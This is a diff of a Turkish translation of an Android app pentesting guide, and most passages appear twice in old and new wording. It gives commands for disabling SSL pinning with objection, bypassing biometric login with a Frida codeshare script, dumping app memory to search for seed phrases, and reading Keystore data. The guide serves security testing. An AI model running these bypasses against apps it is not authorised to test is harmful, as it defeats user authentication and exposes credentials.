- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanarak. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar için bir risk oluşturur, ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurarlar. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesinin önemli riskler oluşturabileceği için kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları ele alma konusunda ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -403,39 +403,39 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi
|
||||
|
||||
#### Trafik İncelemesi
|
||||
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikasını yükleme konusunda bir rehber için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### SSL Pinning'i Aşma
|
||||
#### SSL Pinning'i Atlatma
|
||||
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **SSL Pinning'i otomatik olarak aşmak için** **MobSF dinamik analizi** (aşağıda açıklandığı gibi) deneyebilirsiniz.
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **atlatmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i atlatmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma kılavuzunuz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Yaygın Web Zayıflıklarını Arama
|
||||
|
||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
|
||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme konusunda ayrıntılı bilgi, bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon araç takımıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
|
||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı Harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
Uygulamanın, saklamaması gereken hassas bilgileri (şifreler veya mnemonikler gibi) bellekte saklayıp saklamadığını kontrol edin.
|
||||
Uygulamanın, saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin, örneğin şifreler veya mnemonikler.
|
||||
|
||||
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökebilirsiniz:
|
||||
```bash
|
||||
@ -446,35 +446,35 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz:
|
||||
Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişim sağlamak mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birinin veya root kullanıcısının kontrolünde kontrol edilmelidir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Keystore içindeki verilere erişmek için bu Frida betiğini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Parmak İzi/Biyometrik Bypass**
|
||||
|
||||
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
Aşağıdaki Frida betiğini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** için gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Arka Plan Görüntüleri**
|
||||
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir.
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi verir.
|
||||
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
|
||||
|
||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -484,25 +484,25 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
||||
|
||||
### Intent Enjeksiyonu
|
||||
|
||||
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri ve hizmetleri oluştururlar; bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
|
||||
|
||||
Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
|
||||
|
||||
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Sonsuz çerezler**: Android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
|
||||
- [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
|
||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
|
||||
|
||||
MobSF ayrıca **diff/Compare** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
|
||||
### MobSF ile Yardımlı Dinamik Analiz
|
||||
|
||||
**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
|
||||
**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmanız** ve **sonra MobSF'yi başlatmanız** gerekmektedir._\
|
||||
**MobSF dinamik analizörü** şunları yapabilir:
|
||||
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
@ -538,7 +538,7 @@ Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başla
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
Varsayılan olarak, **SSL pinning**'i, **root tespiti**'ni ve **hata ayıklayıcı tespiti**'ni atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
@ -550,16 +550,16 @@ Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
- **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arar
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
- **Sınıf Yöntemlerini İzleme**: **Tüm sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekecek ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar:
|
||||
MobSF ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -570,13 +570,13 @@ receivers
|
||||
```
|
||||
**HTTP araçları**
|
||||
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
|
||||
|
||||
> [!NOTE]
|
||||
> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -627,11 +627,11 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) yapmalarında yardımcı olan **çapraz platform** bir araçtır.
|
||||
StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) yapmalarında yardımcı olan **çoklu platform** bir araçtır.
|
||||
|
||||
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
|
||||
|
||||
İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases):
|
||||
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA**, **Mobil Uygulama** **Tersine Mühendislik** ve **Analiz** Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
**MARA**, **M**obil **A**pp Uygulaması **R**everse engineering ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
|
||||
Şunları yapabilir:
|
||||
|
||||
@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- Regex kullanarak APK'dan özel bilgileri çıkarmak.
|
||||
- Manifest'i analiz etmek.
|
||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek
|
||||
|
||||
### Koodous
|
||||
|
||||
@ -678,7 +678,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
